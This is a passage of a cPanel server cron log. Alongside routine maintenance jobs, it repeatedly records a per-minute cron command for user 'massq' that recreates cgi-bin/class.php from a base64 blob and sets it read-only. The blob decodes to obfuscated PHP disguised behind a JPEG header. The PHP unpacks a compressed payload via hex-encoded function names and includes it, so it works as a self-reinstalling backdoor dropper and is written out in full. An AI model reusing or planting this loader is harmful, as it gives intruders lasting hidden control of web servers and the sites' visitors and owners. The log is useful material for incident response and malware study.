SkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:08:01 server CROND[8544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:09:01 server CROND[8721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:09:01 server CROND[8722]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 04:10:01 server CROND[8810]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 04:10:01 server CROND[8808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:10:01 server CROND[8809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:10:01 server CROND[8811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:11:01 server CROND[8974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:12:01 server CROND[9050]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 04:12:01 server CROND[9051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:13:01 server CROND[9124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:14:01 server CROND[9285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:15:01 server CROND[9430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:15:01 server CROND[9431]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 04:15:01 server CROND[9432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:15:01 server CROND[9433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:16:01 server CROND[9563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:17:01 server CROND[9628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:18:01 server CROND[9703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:19:01 server CROND[9879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:20:01 server CROND[9965]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 04:20:01 server CROND[9967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 04:20:01 server CROND[9968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:20:01 server CROND[9969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:20:01 server CROND[9970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
